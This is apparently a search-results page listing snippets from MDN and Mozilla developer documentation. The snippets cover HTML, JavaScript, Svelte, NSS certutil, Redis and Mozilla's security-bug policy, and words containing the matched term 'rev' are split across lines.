...ad to areas you didn't intend <li>badly nested elements: nesting elements properly is also very important for code behaving correctly. <strong>strong <em>strong emphasised?</strong> what is this?</em> <li>unclosed attributes: another common source of html problems. let's look at an example: <a href="https://www.mozilla.org/>link to mozilla homepage</a> </ul> let's
review the problems: the paragraph and list item elements have no closing tags. looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and another should begin. the first <strong> element has no closing tag. this is a bit more problematic, as it isn't easy to tell where the element is supposed to end.
...hould begin. the first <strong> element has no closing tag. this is a bit more problematic, as it isn't easy to tell where the element is supposed to end. in fact, the whole of the rest of the text has been strongly emphasised. this section is badly nested: <strong>strong <em>strong emphasised?</strong> what is this?</em>. it is not easy to tell how this has been interpreted because of the p
revious problem. the href attribute value is missing a closing double quote. this seems to have caused the biggest problem — the link has not rendered at all. now let's look at the markup the browser has rendered, as opposed to the markup in the source code. to do this, we can use the browser developer tools. if you are not familiar with how to use your browser's developer tools, take a fe...
...And 3 more matches
What’s in the head? Metadata in HTML - Learn web development
it contains information such as the page <title>, links to css (if you choose to style your html content with css), links to custom favicons, and other metadata (data about the html, such as the author, and important keywords that describe the document.) in this article we'll cover all of the above and more, in order to give you a good basis for working with markup. prerequisites: basic html familiarity, as covered in getting started with html. objective: to learn about the html head, its purpose, the most important items it can contain, and what effect it can have on the html document. ...
...n this article we'll cover all of the above and more, in order to give you a good basis for working with markup. prerequisites: basic html familiarity, as covered in getting started with html. objective: to learn about the html head, its purpose, the most important items it can contain, and what effect it can have on the html document. ...
..., in order to give you a good basis for working with markup. prerequisites: basic html familiarity, as covered in getting started with html. objective: to learn about the html head, its purpose, the most important items it can contain, and what effect it can have on the html document. what is the html head? let's
revisit the simple html document we covered in the p
revious article: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <p>this is my page</p> </body> </html> the html head is the contents of the <head> element — unlike the contents of the <body> element (which are displayed on the page when loaded in a browser), the head's content is not displayed on the page. instead, the head's jo...
...And 3 more matches
Making asynchronous programming easier with async and await - Learn web development
these features basically act as syntactic sugar on top of promises, making asynchronous code easier to write and to read afterwards. they make async code look more like old-school synchronous code, so they're well worth learning. this article gives you what you need to know. prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals, an understanding of async code in general and promises. objective: to understand promises and how to use them. ...
...ding web api functions. here is a trivial example: async function hello() { return greeting = await promise.resolve("hello"); }; hello().then(alert); of course, the above example is not very useful, although it does serve to illustrate the syntax. let's move on and look at a real example. ...
...u'll note that we've wrapped the code inside a function, and we've included the async keyword before the function keyword. this is necessary — you have to create an async function to define a block of code in which you'll run your async code; as we said earlier, await only works inside of async functions. inside the myfetch() function definition you can see that the code closely resembles the p
revious promise version, but there are some differences. instead of needing to chain a .then() block on to the end of each promise-based method, you just need to add an await keyword before the method call, and then assign the result to a variable. the await keyword causes the javascript runtime to pause your code on this line, allowing other code to execute in the meantime, until the async function ...
...And 3 more matches
Making decisions in your code — conditionals - Learn web development
statements. we first looked at comparison operators back in our basic math in javascript — numbers and operators article. our choices are: === and !== — test if one value is identical to, or not identical to, another. < and > — test if one value is less than or greater than another. <= and >= — test if one value is less than or equal to, or greater than or equal to, another. note:
review the material at the p
revious link if you want to refresh your memories on these. we wanted to make a special mention of testing boolean (true/false) values, and a common pattern you'll come across again and again. any value that is not false, undefined, null, 0, nan, or an empty string ('') actually returns true when tested as a conditional statement, therefore you can simply use a variable ...
...else it is perfectly ok to put one if...else statement inside another one — to nest them. for example, we could update our weathe...
...rst two do the following: && — and; allows you to chain together two or more expressions so that all of them have to individually evaluate to true for the whole expression to return true. || — or; allows you to chain together two or more expressions so that one or more of them have to individually evaluate to true for the whole expression to return true. to give you an and example, the p
revious example snippet can be rewritten to this: if (choice === 'sunny' && temperature < 86) { para.textcontent = 'it is ' + temperature + ' degrees outside — nice and sunny. let\'s go out to the beach, or the park, and get an ice cream.'; } else if (choice === 'sunny' && temperature >= 86) { para.textcontent = 'it is ' + temperature + ' degrees outside — really hot! if you want to go outsi...
...And 3 more matches
Object-oriented JavaScript for beginners - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to understand the basic theory behind object-oriented programming, how this relates to javascript ("everything is an object"), and how to create constructors and object instances. ...
...notice that it has all the features you'd expect in a function, although it doesn't return anything or explicitly create an object — it basically just defines properties and...
... equal to the name value passed to the constructor call, and the greeting() method will use the name value passed to the constructor call too. note: a constructor function name usually starts with a capital letter — this convention is used to make constructor functions easier to recognize in code. ...
...And 3 more matches
The business case for web performance - Learn web development
p
revious overview: performance we've discussed the importance of web performance. you've learned what you need to do to optimize for web performance. but how do you convince your clients and/or management to prioritize and invest in performance? in this section, we discuss creating a clear business-case to convince decision-makers to make the investment. prerequisites: basic computer literacy, basic knowledge of client-side web technologies, and a basic understanding of web performance optimization. objective: to gain confidence in working with clients and management to get them to make web performance a priority. making performance a business priority we've discussed how prioritizing performance can improve user experience and therefore
revenue. ...
...c understanding of web performance optimization. objective: to gain confidence in working with clients and management to get them to make web performance a priority. making performance a business priority we've discussed how prioritizing performance can improve user experience and therefore
revenue. we know that not prioritizing web performance can result in a loss of business
revenue. this article discusses how certain business metrics directly relate to a user's web performance experience and how to apply service design to boost the user's experiences of web performance. it highlights the importance of understanding how cumulative experiences impact conversion and retention rates. performance budgets setting a web performance budget can help you make sure the team s...
...iness metrics directly relate to a user's web performance experience and how to apply service design to boost the user's experiences of web performance. it highlights the importance of understanding how cumulative experiences impact conversion and retention rates. performance budgets setting a web performance budget can help you make sure the team stays on track in keeping the site and help p
revent regressions. a performance budget is a set of limits that are set to specify limits, such as maximum number of http requests allowed, the maximum total size of all the assets combined, the minimum allowable fps on a specific device, etc, that must be maintained. the budget can be applied to a single file, a file type, all files loaded on a page, a specific metric, or a threshold over a period...
...And 3 more matches
Framework main features - Learn web development
this article will explore the main features of “the big 4” frameworks, looking at how frameworks tend to work from a high level, and the differences between them. prerequisites: familiarity with the core html, css, and javascript languages. objective: to understand the main code features of frameworks. domain-specific languages all of the frameworks discussed in this module are powered by javascript, and all allow you to use domain-specific languages (dsls) in order to build your applications. ...
... the following shows a simple jsx example: const subject = "world"; const header = ( <header> <h1>hello, {subject}!</h1> </header> ); this expression represents an html <header> element with a <h1> element inside. the curly braces around subject on line 4 tell the application to read the value of the subject constant and insert it into our <h1>. ...
...e to use this function and pass '2' into it as an argument, typescript would raise an error during compilation, and we would be forced to fix our mistake. we could write our own javascript that raises these errors for us, but it would make our source code significantly more verbose. it probably makes more sense to let typescript handle such checks for us. writing components as mentioned in the p
revious chapter, most frameworks have some kind of component model. react components can be written with jsx, ember components with handlebars, and angular and vue components with a templating syntax that lightly extends html. regardless of their opinions on how components should be written, each framework's components offer a way to describe the external properties they may need, the internal state...
...And 3 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
in this article we will add the app's final features and further componentize our app. we will learn how to deal with reactivity issues related to updating objects and arrays. to avoid common pitfalls, we'll have to dig a little deeper into svelte's reactivity system. we'll also look at solving some accessibility focus issues, and more besides. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. ...
...ew todo in with the additional details. create a new file — components/newtodo.svelte. ...
...nst dispatch = createeventdispatcher() let name = '' let nameel // reference to the name input dom node const addtodo = () => { dispatch('addtodo', name) name = '' nameel.focus() // give focus to the name input } const oncancel = () => { name = '' nameel.focus() // give focus to the name input } </script> <form on:submit|p
reventdefault={addtodo} on:keydown={e => e.key === 'escape' && oncancel()}> <h2 class="label-wrapper"> <label for="todo-0" class="label__lg">what needs to be done?</label> </h2> <input bind:value={name} bind:this={nameel} type="text" id="todo-0" autocomplete="off" class="input input__lg" /> <button type="submit" disabled={!name} class="btn btn__primary btn__lg">add</button> </form> try t...
...And 3 more matches
Handling common JavaScript problems - Learn web development
this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascript features working in older browsers, and more. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing. objective: to be able to diagnose common javascript cross-browser problems, and use appropriate tools and techniques to fix them. ...
...or prefix usage block browsers from running code they could otherwise use just fine. when developers make use of new/nascent javascript features (for example ecmascript 6 / ecmascript next features, modern web apis...) in their code, and find that such features don't work in older browsers. we'll explore all these problems and more below. fixing general javascript problems as we said in the p
revious article on html/css, you should make sure your code is working generally, before going on to concentrate on the cross-browser issues. if you are not already familiar with the basics of troubleshooting javascript, you should study that article before moving on. there are a number of common javascript problems that you will want to be mindful of, such as: basic syntax and logic problems (aga...
...f detail and some excellent tips for boosting javascript performance. cross-browser javascript problems in this section, we'll look at some of the more common cross-browser javascript problems. we'll break this down into: using modern core javascript features using modern web api features using bad browser sniffing code performance problems using modern javascript/api features in the p
revious article we described some of the ways in which html and css errors and unrecognized features can be handled due to the nature of the languages. javascript is not as permissive as html and css however — if the javascript engine encounters mistakes or unrecognized syntax, more often than not it will throw errors. there are a number of modern javascript language features defined in recent ver...
...And 3 more matches
Command line crash course - Learn web development
this article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line interface (cli) tools. prerequisites: familiarity with the core html, css, and javascript languages. objective: to understand what the terminal/command line is, what basic commands you should learn, and how to install new command line tools. welcome to the terminal the terminal is a text interface for executing text-based programs. ...
...command is a built-in or not, but bear in mind that built-ins appear on all unix-based systems. to change directory, you type cd into your terminal, followed by the directory you want to move to. assuming the directory is inside your home directory, you can use cd desktop (see the screenshots below). try typing this into your system's terminal: cd desktop if you want to move back up to the p
revious directory, you can use two dots: cd .. note: a very useful terminal shortcut is using the tab key to autocomplete names that you know are present, rather than having to type out the whole thing. for example, after typing the above two commands, try typing cd d and pressing tab — it should autocomplete the directory name desktop for you, provided it is present in the current directory. be...
...hat we’ve discussed two fundamental commands, have a little poke around your directory and see if you can navigate from one place to the next. creating, copying, moving, removing there are a number of other basic utility commands that you’ll probably end up using quite a lot as you work with the terminal. they are pretty simple, so we won’t explain them all in quite as much detail as the p
revious couple. have a play with them in a test directory you’ve created somewhere so that you don’t accidentally delete anything important, using the example commands below for guidance: mkdir — this creates a new directory inside the current directory you are in, with the name you provide after the command name. for example, mkdir my-awesome-website will make a new directory called my-awe...
...And 3 more matches
Deploying our app - Learn web development
we push the code to github, deploy it using netlify, and even show you how to add a simple test into the process. prerequisites: familiarity with the core html, css, and javascript languages. objective: to finish working through our complete toolchain case study, focusing on deploying the app. post development there's potentially a large range of problems to be solved in this section of the project's lifecycle. ...
...at requires as little manual intervention as possible. here's just a few things to consider for this particular project: generating a production build: ensuring files are minimised, chunked, have tree-shaking applied, and that versions are "cache busted". running tests: these can range from "is this code formatted properly?" to "does this thing do what i expect?", and ensuring failing tests p
revent deployment. actually deploying the updated code to a live url: or potentially a staging url so it can be
reviewed first. note: cache busting is a new term that we haven't met before in the module. this is the strategy of breaking a browser's own caching mechanism, which forces the browser to download a new copy of your code. parcel (and indeed many other tools) will generate filenames that...
...can optionally change the name of the netlify project or specify to use our own domain name, which netlify offers some excellent documentation on. now for one final link in our tool chain: a test to ensure our code works. testing testing itself is a vast subject, even within the realm of front end development. i'll show you how to add an initial test to your project and how to use the test to p
revent or to allow the project deployment to happen. when approaching tests there's a good deal of ways to approach the problem: end-to-end testing, which involves your visitor clicking a thing and some other thing happening. integration testing, which basically says "does one block of code still work when connected to another block?" unit testing, where small and specific bits of functionality...
...And 3 more matches
Gecko info for Windows accessibility vendors
ve web applications that process user requests, user actions immediately in real time, unlike an http request, during which users must wait for a whole page to reload or for a new page to load. data is therefore stored and retrieved dynamically much faster. roles, states and events: please read the msaa documentation on msdn if you are unfamiliar with these. in general we abb
reviate by removing redundant words. for example, we may say event_alert instead of the full event_system_alert. msaa tree vs. dom tree - what's the relation? the msaa tree and the dom tree are parallel structures, although the msaa tree is a subset of the dom tree. queryservice() can be used to switch between the interfaces (iaccessible, isimpledomdocument, isimpledomnode and isimpl...
...relation_labelled_by = 0x1003 }; enum { navrelation_described_by = 0x100e }; these two relations are they inverse; they can be used on form controls. if the form control has an accname, you can get the iaccessible that it was labelled by in order to get more formatting information. it is also useful to check for a description. note that the label and description relations may be used to p
revent redundant information from being presented by the screen reader, since the label and description can occur both on their own, and in the name or description fields of an iaccessible. enum { navrelation_default_button = 0x100d }; when used within an html form or a xul dialog, the navrelation_default_button relation will return the iaccessible for the default button. enum { navrelat...
...tion_flows_to = 0x1006 }; enum { navrelation_flows_from = 0x1007 }; these two relations allow the reading flow to break out of the normal dom flow. both flows_to and flows_from are set in markup from the single dynamic content accessibility aaa:flowsto relation -- the inverse flow_from relation is automatically calculated. these relations can affect the calculation for the next next or p
revious item of a certain type. here is an algorithm for iterating through the nodes, looking for an item of a particular type: store a pointer to the start_item if the current item has a flows_to relation, follow that relation otherwise, go to the next item in depth first search order if the current item matches your criteria, then return current_item if the curren...
...And 3 more matches
Using the Browser API
a <form> containing a single text <input>. when you tap the url bar, you can enter a url using the built-in firefox os keyboard (although note that we haven't implemented anything sophisticated in this app, like autofilling the http://, etc.). when you press the keyboard's return button, the 'submit' event is fired, which we handle like this: urlform.addeventlistener('submit',function(e) { e.p
reventdefault(); browser.src = urlbar.value; urlbar.blur(); }); we first call p
reventdefault() to stop the form just submitting and reloading the page — which is really not what we want. we then set the browser iframe's src attribute to equal the value of the url bar, which causes the new url to be loaded in the iframe. finally, we call blur() on the url bar to stop focusing it, so the keyboar...
... } else { browser.reload(); } }); implementing the search bar let's now turn our attention to implementing browser search using the browser api. tap the "s" button and try it out. try searching for "firefox" on the default page when the app first loads. so how do we do this? first, we declare a searchactive variable as false, which influences behaviour later on. ...
... api. tap the "s" button and try it out. try searching for "firefox" on the default page when the app first loads. so how do we do this? first, we declare a searchactive variable as false, which influences behaviour later on. then, we disable the "p
revious" and "next" search item buttons so that they don't run anything unless there are search items to cycle between. ...
...And 3 more matches
Application Translation with Mercurial
export = export -g -r qtip qexportall = diff -r qparent [defaults] commit = -v diff = -p -u 8 qdiff = -p -u 8 qnew = -u [diff] git = 1 showfunc = 1 unified = 8 [extensions] hgext.mq = progress = [hooks] put in your name and email address which later will be public on the internet after your translation patch got accepted and uploaded. save the file and close it. enabling mercurial queues (
revertable patches) some time will pass between the moment in which you start the localization, finish it, test it, improve it, upload it for
review and get
review (maybe not approved on first try). other localizers will likely have done changes to the translation, either adding new texts, removing obsolete ones or improving the current texts. this can cause conflicts between the changes you created...
... localizers will likely have done changes to the translation, either adding new texts, removing obsolete ones or improving the current texts. this can cause conflicts between the changes you created and theirs. for this reason, updating patches kann be necessary so mercurial is still able to find the lines in the files which it has to replace or where it has to add them. mercurial queues allow to
revert changes and also pull changes and reapply your local changes. go back to the localization directory: cd /c/mozilla/de-mozilla-aurora initiate mercurial queues: hg qinit get to know the translation style for having good chances that the translation suggestions get accepted, they should match the translation style of the texts in the application already translated. in general, the labels i...
...he .hgrc file (see above): hg qexport > ../firefox-29-aboutprivatebrowsing-v1.patch this creates a patch file called firefox-29-aboutprivatebrowsing-v1.patch containing the changes in the parent directory of de-mozilla-aurora (in this example: c:\mozilla\). proof-reading and altering the patch now proof-read the patch. this detects often more than 90 percent of the possible reasons for the
reviewer to not accept the patch. if you find that changes have to be done, edit the real aboutprivatebrowsing.dtd file from the localization repository, save it and follow the steps from exporting the changes as patch (see above). validating the translation in the product this guide hasn't yet a section about the validation of the translation. please follow the instructions from the qa phase secti...
...And 3 more matches
An overview of NSS Internals
er details; for example, it contains a signature by a third party that expresses trust in the ownership relationship for the certificate. the trust assigned by the third party might be restricted to certain uses, which are listed in certificate extensions that are contained in the certificate. many (if not most) of the operations performed by nss involve the use of x.509 certificates (often abb
reviated as “cert”, unfortunately making it easy to confuse with the term “computer emergency response team“). when checking whether a certificate is trusted or not, it's necessary to find a relevant trust anchor (root certificate) that represents the signing capability of a trusted third party, usually called a certificate authority (ca). a trust anchor is just another x.509 certificate t...
...nss to free the associated resources. when working with handles to private keys it's usually difficult (and undesired) that an application gets access to the raw key data; therefore it may be difficult to extract such data from nss. the usual minimum requirement is that private keys must be wrapped using a protective layer (such as password-based encryption). the intention is to make it easier to
review code for security. the less code that has access to raw secret keys, the less code that must be
reviewed. nss has only limited functionality to look up raw keys. the preferred approach is to use certificates, and to look up certificates by properties such as the contained subject name (information that describes the owner of the certificate). for example, while nss supports random calculati...
... trust anchors contained in the ckbi module are usually self signed, which is defined as having identical subject name and issuer name fields. if a self-signed certificate is marked as explicitly trusted, nss will sk...
...And 3 more matches
Python binding for NSS
ntation. as of python 2.7 deprecation warnings are no longer reported by default. it is suggested python developers using python-nss periodically run their code with deprecation warnings enabled. depercated elements will persist for a least two releases before being removed from the api entirely. project history red hat utilizes both nss and python in many of it's projects, however it was not p
reviously possible to call nss directly from python. to solve this problem red hat generously funded the initial development of python-nss as well as it's continued maintenance. red hat following it's open source philosophy has contributed the source to the mozilla security project. red hat welcomes all interested contributors who would like to contribute the the python-nss project as part of an open...
... of python-nss programs and libraries you may wish to consult. they illustrate suggested usage and best practice. test code in addition the test directory contains unit tests that also illustrate python-nss usage, however unlike the examples the unit tests are geared towards testing rather than expository illustration. other documentation the doc directory contains other files you may wish to
review. how to report a bug python-nss bugs are currently being tracked in the red hat bugzilla system for fedora. you can enter a bug report here. source download area source downloads are maintained here. links to download url for a specific release can be found in the release information section. mozilla source code management (scm) information on march 21, 2013 the nss project switched from...
...s information (including release tags) were imported into the new mercurial repositories, as such there is no need to utilize the deprecated cvs repositories, use mercurial instead. to check out python-nss source code from mercurial do this: hg clone https://hg.mozilla.org/projects/python-nss the scm tags for various python-nss releases can be found in the release information. you may want to
review the getting mozilla source code using mercurial documentation for more information with working with mercurial. the old deprecated cvs documentation can be found here: getting mozilla source code using cvs. the old deprecated python-nss cvs source code location is mozilla/security/python/nss. release information release 1.0.1 release date 2017-02-28 scm tag pynss...
...And 3 more matches
NSS tools : certutil
tokenname. -g generate a new public and private key pair within a key database. the key database should already exist; if one is not present, this option will initialize one by default. some smart cards (for example, the litronic card) can store only one key pair. if you create a new key pair for such a card, the p
revious pair is overwritten. -h display a list of the options and arguments used by the certificate database tool. -k list the key id of keys in the key database. a key id is the modulus of the rsa key or the publicvalue of the dsa key. ids are displayed in hexadecimal ("0x" is not shown). -l lis...
...: 1.2.3.4 · critical-flag: critical or not-critical · filename: full path to a file containing an encoded extension -f password-file specify a file that will automatically supply the password to include in a certificate or to access a certificate database. this is a plain-text file containing one password. be sure to p
revent unauthorized access to this file. -g keysize set a key size to use when generating new public and private key pairs. the minimum is 512 bits and the maximum is 16384 bits. the default is 2048 bits. any size between the minimum and maximum is allowed. -h tokenname specify the name of a token to use or act on. unless ...
... the certificate database tool will prompt you to select the authority key id extension. x.509 certificate extensions are described in rfc 5280. -4 add a crl distribution point extension to a certificate that is being created or added to a database. this extension identifies the url of a certificate's associated certificate
revocation list (crl). certutil prompts for the url. x.509 certificate extensions are described in rfc 5280. -5 | --nscerttype keyword,keyword add a netscape certificate type extension to a certificate that is being created or added to the database. there are several available keywords: + sslclient + sslserver ...
...And 3 more matches
certutil
command certutil -k -h tokenname. -g generate a new public and private key pair within a key database. the key database should already exist; if one is not present, this option will initialize one by default. some smart cards (for example, the litronic card) can store only one key pair. if you create a new key pair for such a card, the p
revious pair is overwritten. -h display a list of the options and arguments used by the certificate database tool. -k list the key id of keys in the key database. a key id is the modulus of the rsa key or the publicvalue of the dsa key. ids are displayed in hexadecimal ("0x" is not shown). -l list all the cert...
...ven databases are in the old format. -e check a certificate's signature during the process of validating a certificate. -f password-file specify a file that will automatically supply the password to include in a certificate or to access a certificate database. this is a plain-text file containing one password. be sure to p
revent unauthorized access to this file. -g keysize set a key size to use when generating new public and private key pairs. the minimum is 512 bits and the maximum is 8192 bits. the default is 1024 bits. any size between the minimum and maximum is allowed. -h tokenname specify the name of a token to use or act on. unless spec...
... certificate. the certificate database tool will prompt you to select the authority key id extension. x.509 certificate extensions are described in rfc 5280. -4 add a crl distribution point extension to a certificate that is being created or added to a database. this extension identifies the url of a certificate's associated certificate
revocation list (crl). certutil prompts for the url. x.509 certificate extensions are described in rfc 5280. -5 | --nscerttype keyword,keyword add a netscape certificate type extension to a certificate that is being created or added to the database. there are several available keywords: o sslclient o sslserver ...
...And 3 more matches
Redis Tips
list manipulation lpush, rpush, lpop, rpop, llen, linsert, lindex, etc. event logging lists, zsets, pubsub queues lists (rpush, blpop, blpoprpush, etc.) priority queues zsets membership sets, bitstrings state hashes heartbeats zsets hit counters zsets message broadcast pubsub search
reverse indexes (never use keys in production) documentation redis has fantastic documentation. yet redis is so easy to learn and use that you'll seldom feel you need to consult it. there are three reasons to look at the docs for every command you use. time complexity - each command's complexity is given in big-o notation. this is immensely helpful. related commands - an ever-growing...
...t work for hash fields nor for fields of other operations. you can watch a hash, but not its subfields. lists and queues lists make great queues. use commands like blpop rpush blpoprpush the commands that start with b are blocking. they will sit there and quietly do nothing until there is a value available on the list for them to pop. you can specify a timeout, or have them block fo
rever (timeout = 0). the r in rpush means to push on the right-hand side of the list. an l is the left-hand side. suum cuique. try this in two separate redis-cli sessions. first here: redis1> blpop myqueue 0 that redis client should just look like it's hanging. it is. ok, now in a different shell, and another redis-cli, do this: redis2> rpush myqueue 42 now if you look back at the fi...
...able of doing anything but listen for messages. now in a second redis-cli, do this: redis2> publish message-channel "i like pie" publish message-channel "i like pie" (integer) 1 cast your eager gaze back to the first shell and you will see: redis1> 1) "message" 2) "message-channel" 3) "i like pie" well strip my gears and call me shiftless! some things to notice: the subscriber blocks fo
rever - not just for the first message. so subscribers are dedicated clients. the message channel doesn't have to be created in any way. the subscriber tells you the name of the channel as well as the message it received. i like pie. the return value from publish tells you how many subscribers received your message! so if that's 0, you know nobody's listening. you might use psubscribe in a ...
...And 3 more matches
Handling Mozilla Security Bugs
eports related to security vulnerabilities: security bug reports can be treated as special and handled differently than "normal" bugs. in particular, the mozilla.org bugzilla system will allow bug reports related to security vulnerabilities to be marked as "security-sensitive," and will have special access control features specifically for use with such bug reports. however, a security bug can
revert back to being a normal bug by having the "security-sensitive" flag removed, in which case the access control restrictions will no longer be in effect. full information about security bugs will be restricted to a known group of people, using the bugzilla access control restrictions described above. however, that group can and will be expanded as necessary and appropriate. as noted above, info...
...developers (i.e., those whose bugs are often singled out as security-relevant or who have security-relevant bugs assigned to them), and security qa people who are the qa contacts for those bugs. exploit hunters with a good track record of finding significant mozilla security vulnerabilities. representatives of the various companies and groups actively distributing mozilla-based products. super-
reviewers and drivers. the bugzilla administrators will technically be in the mozilla security bug group as well, mainly because they already have visibility into all bugzilla data hosted through mozilla.org. the mozilla security bug group will have a private mailing list, security-group@mozilla.org, to which everyone in the security bug group will be subscribed. this list will act as a forum for ...
... particular security bug, by someone else (who does have access) adding them to the cc list for that bug. thus someone reporting a security bug essentially becomes a member of the overall group of people working to investigate and fix that particular vulnerability, and anyone else may be easily invited to assist as well, if and when it makes sense. expanding the mozilla security bug group as p
reviously described, the mozilla security module owner can select one or more peers to share the core work of coordinating investigation and resolution of mozilla security vulnerabilities, and will work with them to create some agreed-upon ground rules for how this work can be most effectively shared among themselves. as with other mozilla modules, we intend that this core group (module owner plus pe...
...And 3 more matches
Using the Places history service
to maintain backwards compatibility, each version has implemented the older interfaces, resulting in functionality spread across many interfaces. ...
...ice: complex query functions, more fine-grained getters and setters. nsiautocompletesearch: url-bar autocomplete from history from 1.9.1 (firefox3.1) on, don't use any places service on (or after) quit-application has been notified, since the database connection will be closed to allow the last sync, and changes will most likely be lost. use quit-application-granted instead. differences from p
revious implementations the p
revious nsglobalhistory service stored one entry for each page in history. this entry contained the url, title, visit count, last visit date, first visit date, host name, last referrer, flags for typed, hidden, and gecko flags (gecko flags is trunk only). the navhistory service has broken this into two tables (see history service design). the main url table stores the i...
...ing, adduri and adddocumentredirect will infer this information for you. modifying pages in history nsiglobalhistory2.setpagetitle: called by gecko when the <title> element is encountered. nsiglobalhistory3.setgeckoflags: called by gecko to store rendering information about a page. currently, this is used to store whether there was a scrollbar, which allows more efficient layout if the page is
revisited. however, this is not yet supported by the navhistory implementation. nsibrowserhistory.removepage: removes a given uri and all of its visits from the history database. this is called by the ui when the user deletes a history entry. nsibrowserhistory.removepagesfromhost: called from the ui when the user deletes a group associated with a host or domain. this function allows you to delete p...
...And 3 more matches
Creating the Component Code
having the component found and registered properly is the goal of this first chapter of the tutorial. in the subsequent chapters, we can begin to work on the example weblock component functionality itself. use the calculator (after learning long division) you have to write a fair amount of code to create a component library that gets loaded into xpcom. an xpcom component needs to implement at least three interfaces that xpcom requires, and often others as well. there is more code in this chapter than you'll eventually need, however. ...
...r is more about learning the basics. as in grade school when you learned long division, better tools like calculators come after you figure out what's actually happening. in this case, the long-hand implementation gives us an opportunity to talk about various features of xpcom. what we'll be working on the component we'll be working on in this book controls a special mode in your browser that p
revents users from leaving the current domain or a set of safe domains. once enabled, this "weblock" mode is password protected and persists until it is turned off by the password holder. it can be used to implement parental controlled browsing for children, or for targeted "kiosk browsing," where the content is restricted to a particular server. web lock user interface shows the icon that is used to...
...s to register xpcom components. xpinstall, the cross-platform installation technology that mozilla uses to install the browser and other components, is one such alternative. it is described further in packaging weblock. you should consult with the authors of the application you wish to extend to see if there are other supported ways. overview of the weblock module source as we mentioned in the p
revious section, components have layers. there are three main parts to every xpcom component. from the innermost and moving outward, the first object is the xpcom object. this is the object that contains the business logic, that implements functionality such as starting a network download, implementing interfaces that listen to the download progress, or providing a new content type handler. in webloc...
...And 3 more matches
Mozilla internal string guide
o the given length. complete documentation can be found in the appendix. read-only strings the const attribute on a string determines if the string is writable. if a string is defined as a const nsastring then the data in the string cannot be manipulated. if one tries to call a non-const method on a const string the compiler will flag this as an error at build time. for example: void nsfoo::
reversecharacters(nsastring& str) { ... str.assign(
reversedstr); // modifies the string } this should not compile, because you're assigning to a const class: void nsfoo::
reversecharacters(const nsastring& str) { ... str.assign(
reversedstr); } as function parameters for methods which are exposed across modules, use nsastring references to pass strings. for example: // when...
... if (cur < end) memmove(cur, cur + 1, (end - cur) * sizeof(char16_t)); } else { cur += 1; } } data.setlength(len); } note that using beginwriting() to make a string longer is not ok. beginwriting() must not be used to write past the logical length of the string indicated by endwriting() or length(). calling setcapacity() before beginwriting() does not affect what the p
revious sentence says. to make the string longer, call setlength() before beginwriting() or use the bulkwrite() api described below. bulk write bulkwrite() allows capacity-aware cache-friendly low-level writes to the string's buffer. capacity-aware means that the caller is made aware of how the caller-requested buffer capacity was rounded up to mozjemalloc buckets. this is useful when initially re...
...eserved. it's up to you to skip past it so as to not overwrite it. if there's a need to request a different capacity before you are ready to call finish(), you can call restartbulkwrite() on the handle. it takes three arguments that match the first three arguments of bulkwrite(). it returns mozilla::result<mozilla::ok, nsresult> to indicate success or oom. calling restartbulkwrite() invalidates p
reviously-obtained span, raw pointer or length. once you are done writing, call finish(). it takes two arguments: the new logical length of the string (which must not exceed the capacity retuned by the length() method of the handle) and a boolean indicating whether it's ok to attempt to reallocate a smaller buffer in case a smaller mozjemalloc bucket could accommodate the new logical length. helper...
...And 3 more matches
nsIDocShell
to tie in to handle dom events that may be of interest to chrome. contentviewer nsicontentviewer content viewer that is currently loaded for this docshell. this may change as the underlying content changes. read only. currentdocumentchannel nsichannel gets the channel for the currently loaded document, if any. for a new document load, this will be the channel of the p
revious document until after onlocationchange fires. read only. documentcharsetinfo nsidocumentcharsetinfo the document character set info. this is used by a load to determine priorities for charset detection and so on. obsolete since gecko 12.0 note: the properties of the old nsidocumentcharsetinfo interface were merged into nsidocshell in gecko 12.0. ...
... but before the new document has been set up) read only. isoffscreenbrowser boolean if true, this docshell is not visible in the traditional sense, but is being actively rendered to the screen (such as by being painted to a canvas), and should be treated accordingly. layouthistorystate nsilayouthistorystate loadedtransindex long keeps track of the p
revious shtransaction index and the current shtransaction index at the time that the doc shell begins to load. used for contentviewer eviction. read only. loadtype unsigned long load type for the document. valid states are defined in constants. note that nsidocshell may use other states internally so you should check for the specific state bit. marginheight long the val...
...nted and is assumed to be nulled out by the parent when the parent is going away. obsolete since gecko 1.8 prescontext nsprescontext presentation context for the currently loaded document. this may be null. read only. native code only! presshell nsipresshell presentation shell for the currently loaded document. this may be null. read only. native code only! p
revioustransindex long keeps track of the p
revious shtransaction index and the current shtransaction index at the time that the doc shell begins to load. used for contentviewer eviction. read only. printp
review nsiwebbrowserprint if the current content viewer is not initialized for print p
review, it is replaced with one which is and to which an about:blank document is loaded. re...
...And 3 more matches
Debugger.Object - Firefox Developer Tools
e it gets or sets an accessor property whose handler is debuggee code, or because the referent is a proxy whose traps are debuggee code), the call throws a debugger.debuggeewouldrun exception. getproperty(name) return the value of the referent's property namedname, or undefined if it has no such property.name must be a string. the result is a debuggee value. setproperty(name,value) sto
revalue as the value of the referent's property namedname, creating the property if it does not exist.name must be a string;value must be a debuggee value. getownpropertydescriptor(name) return a property descriptor for the property namedname of the referent. if the referent has no such property, return undefined. (this function behaves like the standard object.getownpropertydescriptor function...
... the referent. (this function behaves like object.defineproperties, except that the target object is implicit, and in a different compartment from theproperties argument.) deleteproperty(name) remove the referent's property namedname. return true if the property was successfully removed, or if the referent has no such property. return false if the property is non-configurable. seal() p
revent properties from being added to or deleted from the referent. return this debugger.object instance. (this function behaves like the standard object.seal function, except that the object to be sealed is implicit and in a different compartment from the caller.) freeze() p
revent properties from being added to or deleted from the referent, and mark each property as non-writable. return this d...
... be sealed is implicit and in a different compartment from the caller.) freeze() p
revent properties from being added to or deleted from the referent, and mark each property as non-writable. return this debugger.object instance. (this function behaves like the standard object.freeze function, except that the object to be sealed is implicit and in a different compartment from the caller.) p
reventextensions() p
revent properties from being added to the referent. (this function behaves like the standard object.p
